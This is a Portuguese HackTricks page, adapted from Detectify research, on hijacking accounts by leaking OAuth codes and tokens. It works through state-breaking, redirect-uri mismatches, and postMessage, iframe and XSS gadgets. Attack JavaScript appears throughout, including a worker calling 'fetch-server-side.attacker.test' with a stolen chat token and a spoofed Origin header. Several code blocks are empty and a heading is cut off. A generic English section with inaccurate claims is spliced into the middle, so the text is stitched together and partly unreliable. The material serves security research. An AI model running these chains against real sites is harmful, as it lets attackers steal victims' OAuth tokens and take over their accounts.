# OAuth - Fluxos Felizes, XSS, Iframes e Mensagens POST para vazar códigos e valores de estado
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Este conteúdo foi retirado de** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**** ## Explicação dos diferentes fluxos OAuth ### Tipos de resposta Primeiro, existem diferentes tipos de resposta que você pode usar no fluxo OAuth. Essas respostas concedem o **token para fazer login como os usuários ou as informações necessárias para fazê-lo**. Os três mais comuns são: 1. **`code` + `state`**. O **código** é usado para **chamar o servidor do provedor OAuth** para obter um token. O parâmetro **state** é usado para verificar se o **usuário correto está fazendo a chamada**. É responsabilidade do cliente OAuth validar o parâmetro de estado antes de fazer a chamada do lado do servidor para o provedor OAuth. 2. **`id_token`**. É um JSON Web Token **(JWT) assinado** usando um certificado público do provedor OAuth para verificar se a identidade fornecida é realmente quem ela afirma ser. 3. **`token`**. É um **token de acesso** usado na API do provedor de serviços. ### Modos de resposta Existem diferentes modos que o fluxo de autorização pode usar para fornecer os códigos ou tokens para o site no fluxo OAuth, estes são quatro dos mais comuns: 1. **Query**. Enviando parâmetros de consulta como um redirecionamento de volta para o site (`https://example.com/callback?code=xxx&state=xxx`). Usado para `code+state`. O **código** só pode ser **usado uma vez** e você precisa do **segredo do cliente OAuth** para **adquirir um token de acesso** ao usar o código. 1. [Este modo não é recomendado para tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) pois **os tokens podem ser usados várias vezes e não devem acabar em logs do servidor ou similares**. A maioria dos provedores OAuth não suporta esse modo para tokens, apenas para código. Exemplos: * `response_mode=query` é usado pela Apple. * `response_type=code` é usado pelo Google ou Facebook. 2. **Fragment**. Usando um **redirecionamento de fragmento** (`https://example.com/callback#access_token=xxx`). Neste modo, a parte do fragmento da URL não acaba em nenhum log do servidor e só pode ser alcançada do lado do cliente usando javascript. Este modo de resposta é usado para tokens. Exemplos: * `response_mode=fragment` é usado pela Apple e Microsoft. * `response_type` contém `id_token` ou `token` e é usado pelo Google, Facebook, Atlassian e outros. 3. **Web-message**. Usando **postMessage para uma origem fixa do site**:\ `postMessage('{"access_token":"xxx"}','https://example.com')`\ Se suportado, muitas vezes pode ser usado para todos os diferentes tipos de resposta. Exemplos: * `response_mode=web_message` é usado pela Apple. * `redirect_uri=storagerelay://...` é usado pelo Google. * `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` é usado pelo Facebook. 4. **Form-post**. Usando um post de formulário para um `redirect_uri` válido, um **pedido POST regular é enviado de volta para o site**. Isso pode ser usado para código e tokens. Exemplos: * `response_mode=form_post` é usado pela Apple. * `ux_mode=redirect&login_uri=https://example.com/callback` é usado pelo Google Sign-In (GSI). ## Quebrando o `state` intencionalmente A especificação OAuth recomenda um parâmetro `state` em combinação com um `response_type=code` para garantir que o usuário que iniciou o fluxo também é o que está usando o código após o fluxo OAuth para emitir um token. No entanto, se o **valor do `state` for inválido**, o **`code` não será consumido** porque é responsabilidade do site (o final) validar o estado. Isso significa que se um atacante puder enviar um link de fluxo de login para uma vítima contaminada com um `state` válido do atacante, o fluxo OAuth falhará para a vítima e o `code` nunca será enviado ao provedor OAuth. O código ainda será possível de usar se o atacante puder obtê-lo. 1. O atacante inicia um fluxo de login no site usando "Entrar com X". 2. O atacante usa o valor `state` e constrói um link para a vítima fazer login com o provedor OAuth, mas com o `state` do atacante. 3. A vítima faz login com o link e é redirecionada de volta para o site. 4. O site valida o `state` para a vítima e interrompe o processamento do fluxo de login, pois não é um estado válido. Página de erro para a vítima. 5. O atacante encontra uma maneira de vazar o `code` da página de erro. 6. O atacante agora pode fazer login com seu próprio `state` e o `code` vazado da vítima. ### Tro ``` https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount? client_id=client-id.apps.googleusercontent.com& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback& scope=openid%20email%20profile& response_type=code& access_type=offline& state=yyy& prompt=consent&flowName=GeneralOAuthFlow ``` irá redirecionar para `https://example.com/callback?code=xxx&state=yyy`. Mas: ``` https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount? client_id=client-id.apps.googleusercontent.com& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback& scope=openid%20email%20profile& response_type=code,id_token& access_type=offline& state=yyy& prompt=consent&flowName=GeneralOAuthFlow ``` irá redirecionar para `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`. A mesma ideia se aplica à Apple se você usar: ``` https://appleid.apple.com/auth/authorize? response_type=code& response_mode=query& scope=& state=zzz& client_id=client-id& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback ``` você será redirecionado para `https://example.com/callback?code=xxx&state=yyy`, mas: ``` https://appleid.apple.com/auth/authorize? response_type=code+id_token& response_mode=fragment& scope=& state=zzz& client_id=client-id& redirect_uri=https%3A%2F%2Fexample.com%2Fcallback ``` Será redirecionado para `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`. ## Caminhos Não Felizes O autor da pesquisa chamou de **caminhos não felizes** aqueles em que o usuário faz login via OAuth e é redirecionado para URLs incorretas. Isso é útil porque se o cliente receber o token ou um estado+codigo válido **mas não chegar à página esperada**, essa **informação não será consumida corretamente** e se o atacante encontrar uma maneira de **extrair essa informação** do "caminho não feliz", ele poderá **assumir o controle da conta**. Por padrão, o fluxo OAuth chegará ao caminho esperado, no entanto, pode haver algumas **configurações incorretas** potenciais que permitiriam a um atacante **criar uma solicitação OAuth inicial específica** que fará com que o **usuário chegue a um caminho não feliz após fazer login**. ### Incompatibilidades de URI de redirecionamento Essas **configurações incorretas** "comuns" foram encontradas na **URL de redirecionamento** da comunicação OAuth. A [**especificação**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** indica estritamente que a URL de redirecionamento deve ser estritamente comparada com a definida, não permitindo alterações além da aparência ou não da porta. No entanto, alguns endpoints permitiam algumas modificações: ### Adição de caminho de URI de redirecionamento Alguns provedores OAuth **permitem a adição de dados adicionais** ao caminho para `redirect_uri`. Isso também viola a especificação da mesma forma que para "Mudança de caso de URI de redirecionamento". Por exemplo, tendo um URI de redirecionamento `https://example.com/callback`, enviando: ``` response_type=id_token& redirect_uri=https://example.com/callbackxxx ``` ### Adição de parâmetros de redirecionamento-uri Alguns provedores OAuth **permitem a adição de parâmetros de consulta ou fragmento** ao `redirect_uri`. Você pode usar isso ao acionar um caminho não feliz, fornecendo os mesmos parâmetros que serão adicionados à URL. Por exemplo, tendo um redirecionamento uri `https://example.com/callback`, enviando: ``` response_type=code& redirect_uri=https://example.com/callback%3fcode=xxx%26 ``` acabaria nestes casos como um redirecionamento para `https://example.com/callback?code=xxx&code=real-code`. Dependendo do site que recebe **múltiplos parâmetros com o mesmo nome, isso também poderia desencadear um caminho não feliz**. O mesmo se aplica a `token` e `id_token`: ``` response_type=code& redirect_uri=https://example.com/callback%23id_token=xxx%26 ``` ### Caminhos felizes do OAuth, XSS, iframes e post-messages para vazar valores de código e estado ## Caminhos felizes do OAuth Os caminhos felizes do OAuth são aqueles em que tudo ocorre conforme o esperado. No entanto, existem casos em que o fluxo pode ser interrompido, como quando há múltiplos parâmetros com o mesmo nome na URL de retorno. Isso pode resultar em uma URL de retorno como `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Dependendo do **javascript que busca os parâmetros de fragmento quando há múltiplos parâmetros com o mesmo nome**, isso também pode resultar em um caminho não feliz. ### Sobras ou configurações incorretas de redirect-uri Ao coletar todas as URLs de login contendo os valores `redirect_uri`, também é possível testar se outros valores de redirect-uri são válidos. Dos 125 fluxos de login do Google que salvei dos sites que testei, 5 sites tinham a página inicial também como um `redirect_uri` válido. Por exemplo, se `redirect_uri=https://auth.example.com/callback` fosse o valor usado, nesses 5 casos, qualquer um desses valores também seria válido: * `redirect_uri=https://example.com/` * `redirect_uri=https://example.com` * `redirect_uri=https://www.example.com/` * `redirect_uri=https://www.example.com` Isso foi especialmente interessante para os sites que realmente usavam `id_token` ou `token`, já que `response_type=code` ainda terá o provedor OAuth validando o `redirect_uri` na última etapa da dança do OAuth ao adquirir um token. ## Gadget 1: Ouvintes de postMessage com verificação de origem fraca ou inexistente que vazam URL ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png) **Neste exemplo, o último caminho não feliz em que o token/código estava sendo enviado estava enviando uma mensagem de solicitação de postagem vazando location.href.**\ Um exemplo foi um SDK de análise para um site popular que foi carregado em sites: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png) Este SDK expôs um ouvinte de postMessage que enviou a seguinte mensagem quando o tipo de mensagem correspondia: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png) Enviando uma mensagem para ele de uma origem diferente: ```javascript openedwindow = window.open('https://www.example.com'); ... openedwindow.postMessage('{"type":"sdk-load-embed"}','*'); ``` Uma mensagem de resposta apareceria na janela que enviou a mensagem contendo o `location.href` do site: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png) O fluxo que poderia ser usado em um ataque dependia de como códigos e tokens eram usados para o fluxo de login, mas a ideia era: ### **Ataque** 1. O atacante envia ao usuário um **link criado** que foi preparado para **resultar em um caminho não feliz** na dança do OAuth. 2. A vítima **clica** no link. Uma nova aba é aberta com um fluxo de **login** com um dos provedores OAuth do site sendo explorado. 3. O caminho não feliz é acionado no site sendo explorado, o **ouvinte de postMessage vulnerável é carregado na página em que a vítima pousou, ainda com o código ou tokens na URL**. 4. A **aba original** enviada pelo atacante envia um monte de **postMessages** para a nova aba com o site para fazer com que o ouvinte de postMessage vaze a URL atual. 5. A aba original enviada pelo atacante então **ouve a mensagem enviada para ela**. Quando a URL retorna em uma mensagem, o **código e token são extraídos** e enviados ao atacante. 6. **Atacante faz login como a vítima** usando o código ou token que acabou no caminho não feliz. ## Gadget 2: XSS em domínio sandbox/terceiro que obtém a URL ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png) ## **Gadget 2: exemplo 1, roubando window.name de um iframe sandbox** Este tinha um **iframe** carregado na **página onde a dança do OAuth terminou**. O **nome** do **iframe** era uma **versão JSON-stringified do objeto `window.location`**. Esta é uma maneira antiga de transferir dados entre domínios, já que a página no iframe pode ter seu próprio `window.name` definido pelo pai: ```javascript i = document.createElement('iframe'); i.name = JSON.stringify(window.location) i.srcdoc = ''; document.body.appendChild(i) ``` O domínio carregado no **iframe também tinha um XSS simples**: ``` https://examplesandbox.com/embed_iframe?src=javascript:alert(1) ``` ### Ataque Se você tiver um **XSS** em um **domínio** em uma janela, essa janela pode então **alcançar outras janelas da mesma origem** se houver uma relação de pai/filho/opener entre as janelas. Isso significa que um invasor poderia **explorar o XSS para carregar uma nova guia** com o **link OAuth criado** que terminará no **caminho que carrega o iframe com o token no nome**. Então, a partir da página explorada pelo XSS, será possível **ler o nome do iframe** porque ele tem um **opener sobre a página pai dos iframes** e exfiltrá-lo. Mais especificamente: 1. Criar uma página maliciosa que esteja incorporando um iframe do sandbox com o XSS carregando meu próprio script: ```html
``` 2. No meu script carregado no sandbox, substituí o conteúdo com o link a ser usado para a vítima: ```javascript document.body.innerHTML = ' Clique aqui para sequestrar o token'; ``` Também iniciei um script em um intervalo para verificar se o link foi aberto e se o iframe que eu queria alcançar está lá para obter o `window.name` definido no iframe com a mesma origem que o iframe na página do invasor: ```javascript x = setInterval(function() { if(parent.window.b && parent.window.b.frames[0] && parent.window.b.frames[0].window && parent.window.b.frames[0].window.name) { top.postMessage(parent.window.b.frames[0].window.name, '*'); parent.window.b.close(); clearInterval(x); } }, 500); ``` 3. A página do invasor pode então apenas ouvir a mensagem que acabamos de enviar com o `window.name`: ```html ``` ## **Gadget 2: exemplo 2, iframe com XSS + verificação de origem pai** O segundo exemplo foi um **iframe** carregado no **caminho não feliz** com um XSS **usando postMessage**, mas **as mensagens só eram permitidas do `parent`** que o carregou. O **`location.href` foi enviado para o iframe quando ele pediu `initConfig`** em uma mensagem para a janela `parent`. A janela principal carregou o iframe assim: ```html ``` # Oauth Happy Paths: XSS, Iframes and Post Messages to Leak Code and State Values ## Introduction This document explains how to exploit Oauth Happy Paths to leak code and state values using XSS, iframes and post messages. ## Oauth Happy Paths Oauth Happy Paths are the different flows that an Oauth client can follow to obtain an access token from an Oauth provider. These flows are defined in the Oauth specification and are implemented by Oauth providers. ## Exploiting Oauth Happy Paths An attacker can exploit Oauth Happy Paths to leak code and state values by injecting malicious code into the Oauth provider's login page. This can be done using XSS, iframes and post messages. ### XSS XSS can be used to inject malicious code into the Oauth provider's login page. This code can then be used to steal the user's access token and other sensitive information. ### Iframes If the Oauth provider's login page is vulnerable to clickjacking, an attacker can use iframes to load the login page and steal the user's access token and other sensitive information. ### Post Messages Post messages can be used to communicate between different windows or iframes. An attacker can use post messages to steal the user's access token and other sensitive information. ## Conclusion Oauth Happy Paths can be exploited to leak code and state values using XSS, iframes and post messages. It is important for Oauth providers to implement proper security measures to prevent these attacks. ```html ``` ### Ataque Neste caso, o **atacante carrega um iframe com a página vulnerável de XSS de post-message** e **explora** o **XSS** para carregar **JS arbitrário**. Este **JS** irá **abrir** uma **guia** com o **link OAuth**. Após o login, a página final contém o token na URL e carregou um iframe (o iframe vulnerável de post-message XSS). Em seguida, o **JS arbitrário** (do XSS explorado) tem um **abridor para essa guia**, então ele **acessa o iframe** e faz com que ele **peça ao pai pelo `initConfig`** (que contém a **URL com o token**). A página pai **fornece-o ao iframe**, que também é comandado para **vazá-lo**. Neste caso, eu poderia fazer um método semelhante ao exemplo anterior: 1. Criar uma **página maliciosa** que esteja incorporando um **iframe do sandbox**, anexar um **onload** para **disparar um script quando o iframe é carregado**. ```html
``` 2. Como a **página maliciosa é então o pai** do iframe, ela poderia **enviar uma mensagem para o iframe para carregar nosso script** na origem do sandbox usando **postMessage (XSS)**: ```html ``` 3. No meu script sendo carregado no sandbox, eu substituí o conteúdo pelo **link para a vítima**: ```javascript document.body.innerHTML = ' Clique aqui para sequestrar o token'; ``` Eu também iniciei um script em um intervalo para **verificar se o link foi aberto e se o iframe que eu queria alcançar estava lá**, para executar javascript dentro dele do meu iframe para a janela principal. Em seguida, anexei um ouvinte de postMessage que passou a mensagem de volta para o meu iframe na janela maliciosa: ```javascript x = setInterval(function() { if(b && b.frames[1]) { b.frames[1].eval( 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + 'top.postMessage({type:'initConfig'},"*")' ) clearInterval(x) } }, 500); ``` 4. A página do atacante que tinha o iframe carregado pode então ouvir a mensagem que enviei do ouvinte de postMessage injetado no iframe da janela principal: ```html ``` ## Gadget 3: Usando APIs para buscar URL fora dos limites ![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png) Este gadget acabou sendo o mais divertido. Há algo satisfatório em enviar a vítima para algum lugar e depois pegar dados sensíveis de um local diferente. ## **Gadget 3: exemplo 1, storage-iframe sem verificação de origem** O primeiro exemplo usou um serviço externo para dados de rastreamento. Este serviço adicionou um "iframe de armazenamento": ```html ``` A janela principal se comunicaria com este iframe usando postMessage para enviar dados de rastreamento que seriam salvos no localStorage da origem em que o `storage.html` estava localizado: ```javascript tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*'); ``` A janela principal também pode buscar esse conteúdo: ```javascript tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*'); ``` Quando o iframe foi carregado na inicialização, uma chave foi salva para a última localização do usuário usando `location.href`: ```javascript tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*'); ``` Se você pudesse conversar com essa origem de alguma forma e fazê-la enviar o conteúdo, o `location.href` poderia ser obtido a partir desse armazenamento. O ouvinte de postMessage para o serviço tinha uma lista de bloqueio e uma lista de permissão de origens. Parece que o serviço de análise permitiu que o site definisse quais origens permitir ou negar: ```javascript var blockList = []; var allowList = []; var syncListeners = []; window.addEventListener('message', function(e) { // If there's a blockList, check if origin is there and if so, deny if (blockList && blockList.indexOf(e.origin) !== -1) { return; } // If there's an allowList, check if origin is there, else deny if (allowList && allowList.indexOf(e.origin) == -1) { return; } // Only parent can talk to it if (e.source !== window.parent) { return; } handleMessage(e); }); function handleMessage(e) { if (data.type === 'sync') { syncListeners.push({source: e.source, origin: e.origin}) } else { ... } window.addEventListener('storage', function(e) { for(var i = 0; i < syncListeners.length; i++) { syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin); } } ``` Além disso, se você tivesse uma origem válida com base na `allowList`, também seria capaz de solicitar uma sincronização, o que lhe daria todas as alterações feitas no localStorage nesta janela enviadas para você quando foram feitas. ### Ataque No site que tinha esse armazenamento carregado no caminho não feliz da dança do OAuth, nenhuma origem da `allowList` foi definida; **isso permitiu que qualquer origem falasse com o ouvinte de postMessage** se a origem fosse o `parent` da janela: 1. Eu criei uma página maliciosa que incorporava um iframe do contêiner de armazenamento e anexei um `onload` para acionar um script quando o iframe é carregado. ```html
``` 2. Como a página maliciosa agora era o pai do iframe e nenhuma origem foi definida na `allowList`, a página maliciosa poderia enviar mensagens para o iframe para dizer ao armazenamento para enviar mensagens para quaisquer atualizações no armazenamento. Eu também poderia adicionar um ouvinte à página maliciosa para ouvir quaisquer atualizações de sincronização do armazenamento: ```html ``` 3. A página maliciosa também conteria um link regular para a vítima clicar: ```html Clique aqui para sequestrar o token'; ``` 4. A vítima clicaria no link, passaria pela dança do OAuth e acabaria no caminho não feliz carregando o script de rastreamento e o iframe de armazenamento. O iframe de armazenamento recebe uma atualização de `last-url`. O evento `window.storage` seria acionado no iframe da página maliciosa, uma vez que o localStorage foi atualizado, e a página maliciosa que agora estava recebendo atualizações sempre que o armazenamento mudava receberia uma postMessage com a URL atual da vítima:
## **Gadget 3: exemplo 2, mistura de clientes no CDN - DIY storage-SVG sem verificação de origem** Como o próprio serviço de análise tinha um programa de recompensas por bugs, também fiquei interessado em ver se poderia encontrar uma maneira de vazar URLs também para os sites que haviam configurado origens adequadas para o iframe de armazenamento. Quando comecei a procurar o domínio `cdn.analytics.example.com` online sem a parte do cliente, notei que esse CDN também continha imagens enviadas pelos clientes do serviço: ``` https://cdn.analytics.example.com/img/customer42326/event-image.png https://cdn.analytics.example.com/img/customer21131/test.png ``` Também notei que havia arquivos SVG servidos inline como `Content-type: image/svg+xml` neste CDN: ``` https://cdn.analytics.example.com/img/customer54353/icon-register.svg ``` Eu me registrei como usuário de teste no serviço e carreguei meu próprio ativo, que também apareceu no CDN: ``` https://cdn.analytics.example.com/img/customer94342/tiger.svg ``` A parte interessante foi que, se você usasse o subdomínio específico do cliente para o CDN, a imagem ainda era servida. Esta URL funcionou: ``` https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg ``` Isso significava que o cliente com ID #94342 poderia renderizar arquivos SVG no armazenamento do cliente #12345. Eu carreguei um arquivo SVG com um payload XSS simples: `https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg` ```html ``` ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png) Não é ótimo. O CDN adicionou um cabeçalho `Content-Security-Policy: default-src 'self'` para tudo sob `img/`. Você também pode ver que o cabeçalho do servidor mencionou o S3 - revelando que o conteúdo foi carregado em um bucket S3: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png) Uma peculiaridade interessante do S3 é que os diretórios não são realmente diretórios no S3; o caminho antes da chave é chamado de "prefixo". Isso significa que o S3 não se importa se `/` são codificados em URL ou não, ele ainda servirá o conteúdo se você codificar em URL cada barra na URL. Se eu mudasse `img/` para `img%2f` na URL, a imagem ainda seria exibida. No entanto, nesse caso, o cabeçalho CSP foi removido e o XSS foi acionado: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png) Eu então carreguei um SVG que criaria a mesma forma de manipulador de armazenamento e ouvinte de postMessage como o `storage.html` regular, mas com uma `allowList` vazia. Isso me permitiu fazer o mesmo tipo de ataque mesmo em sites que haviam definido corretamente as origens permitidas que poderiam falar com o armazenamento. Eu carreguei um SVG que parecia com isso: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png) ```html ``` Eu poderia então utilizar a mesma metodologia do exemplo #1, mas em vez de colocar o `storage.html` em um iframe, eu poderia colocar o SVG com a barra codificada em URL: ```html
``` Como nenhum site seria capaz de corrigir isso sozinho, enviei um relatório para o provedor de análise responsável pelo CDN: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png) A ideia de olhar para bugs de configuração incorreta em terceiros era principalmente para confirmar que existem várias maneiras de vazar os tokens e, como o terceiro tinha um programa de recompensas por bugs, este era apenas um receptor diferente para o mesmo tipo de bug, a diferença sendo que o impacto era para todos os clientes do serviço de análise. Neste caso, o cliente do terceiro na verdade tinha a capacidade de configurar corretamente a ferramenta para não vazar dados para o atacante. No entanto, como os dados sensíveis ainda eram enviados para o terceiro, foi interessante ver se havia alguma maneira de contornar completamente a configuração adequada da ferramenta pelo cliente. ## **Gadget 3: exemplo 3, API de chat-widget** O último exemplo foi baseado em um chat-widget que estava presente em todas as páginas de um site, até mesmo nas páginas de erro. Havia vários ouvintes de postMessage, um deles sem uma verificação de origem adequada que permitia apenas iniciar o pop-up do chat. Outro ouvinte tinha uma verificação rigorosa de origem para que o chat-widget recebesse uma chamada de inicialização e o token da API de chat atual que estava sendo usado pelo usuário atual. ```html ``` Quando o chat-iframe é carregado: 1. Se um chat-api-token existir no localStorage do widget de chat, ele enviará o api-token para seu pai usando postMessage. Se nenhum chat-api-token existir, ele não enviará nada. 2. Quando o iframe é carregado, ele enviará uma mensagem postMessage com `{"type": "chat-widget", "key": "init"}` para seu pai. Se você clicar no ícone de chat na janela principal: 1. Se nenhum chat-api-token tiver sido enviado ainda, o widget de chat criará um e o colocará no localStorage de sua própria origem e o enviará por postMessage para a janela pai. 2. A janela pai fará uma chamada de API para o serviço de chat. O endpoint da API estava restrito pelo CORS ao site específico configurado para o serviço. Você precisava fornecer um cabeçalho `Origin` válido para a chamada de API com o chat-api-token para permitir que a solicitação fosse enviada. 3. A chamada de API da janela principal conteria `location.href` e o registraria como a "página atual" do visitante com o chat-api-token. A resposta então conteria tokens para se conectar a um websocket para iniciar a sessão de chat: ```json { "api_data": { "current_page": "https://example.com/#access_token=test", "socket_key": "xxxyyyzzz", ... } } ``` Neste exemplo, percebi que o anúncio do chat-api-token sempre seria anunciado ao pai do iframe do widget de chat e, se eu obtivesse o chat-api-token, poderia fazer uma solicitação do lado do servidor usando o token e, em seguida, adicionar meu próprio cabeçalho `Origin` artificial à chamada de API, já que um cabeçalho CORS só importa para um navegador. Isso resultou na seguinte cadeia: 1. Criei uma página maliciosa que incorpora um iframe do widget de chat, adicionou um ouvinte de postMessage para ouvir o chat-api-token. Além disso, acionei um evento para recarregar o iframe se eu não tivesse recebido o api-token em 2 segundos. Isso foi para garantir que eu também suportasse as vítimas que nunca iniciaram o chat e, como eu poderia acionar a abertura do chat remotamente, primeiro precisava do chat-api-token para começar a pesquisar os dados no chat-API do lado do servidor. ```html
``` 2. Adicionei um link à página maliciosa para abrir o fluxo de login que acabaria na página com o widget de chat com o token na URL: ``` Clique aqui para sequestrar o token ``` 3. A função `launchChatWindowByPostMessage()` continuamente enviará uma mensagem postMessage para a janela principal, se aberta, para lançar o widget de chat: ```javascript function launchChatWindowByPostMessage() { var launch = setInterval(function() { if(b) { b.postMessage({type: 'launch-chat'}, '*'); } }, 500); } ``` 4. Quando a vítima clicou no link e acabou na página de erro, o chat seria iniciado e um chat-api-token seria criado. Minha recarga do iframe do widget de chat na página maliciosa obteria o `api-token` por meio de postMessage e eu poderia então começar a procurar no API a URL atual da vítima: ```javascript function lookInApi(token) { var look = setInterval(function() { fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => { if (e && e.api_data && e.api_data.current_url && e.api_data.current_url.indexOf('access_token') !== -1) { var payload = e.api_data.current_url document.getElementById('leak').innerHTML = 'Atacante agora tem o token: ' + payload; clearInterval(look); } }); }, 2000); } ``` 5. A página do lado do servidor em `https://fetch-server-side.attacker.test/?token=xxx` faria a chamada de API com o cabeçalho Origin adicionado para fazer o Chat-API pensar que eu estava usando-o como uma origem legítima: ```javascript addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)) }) async function getDataFromChatApi(token) { return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}}); } function handleRequest(request) { const token = request.url.match('token=([^&#]+)')[1] || null; return token ? getDataFromChatApi(token) : null; } ``` 6. Quando a vítima clicou no link e passou pela dança do OAuth e pousou na página de erro com o token adicionado, o widget de chat de repente apareceria, registraria a URL atual e o atacante teria o token de acesso da vítima. ## Outras ideias para vazar URLs Ainda existem diferentes tipos de gadgets esperando para serem encontrados. Aqui está um desses casos que não consegui encontrar na natureza, mas poderia ser uma maneira potencial de obter a URL para vazar usando qualquer um dos modos de resposta disponíveis. ### Uma página em um domínio que roteia qualquer postMessage para seu opener Como todos os tipos de resposta `web_message` não podem validar nenhum caminho da origem, qualquer URL em um domínio válido pode receber a postMessage com o token. Se houver algum tipo de ouvinte de postMessage-proxy em uma das páginas do domínio, que recebe qualquer mensagem enviada para ele e envia tudo para seu `opener`, posso fazer uma cadeia de window.open dupla: Página do atacante 1: ```html Accept cookies ``` Página do Atacante 2: ```html Login to google ``` E o `https://example.com/postmessage-proxy` teria algo parecido com: ```javascript // Proxy all my messages to my opener: window.onmessage=function(e) { opener.postMessage(e.data, '*'); } ``` Eu poderia usar qualquer um dos modos de resposta `web_message` para enviar o token do provedor OAuth para a origem válida `https://example.com`, mas o endpoint enviaria o token para `opener`, que é a página do atacante. Esse fluxo pode parecer improvável e requer dois cliques: um para criar um relacionamento de abertura entre o atacante e o site e o segundo para iniciar o fluxo OAuth tendo o site legítimo como o abridor do pop-up OAuth. O provedor OAuth envia o token para a origem legítima: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png) E a origem legítima tem o proxy postMessage para seu abridor: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png) O que faz com que o atacante obtenha o token: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).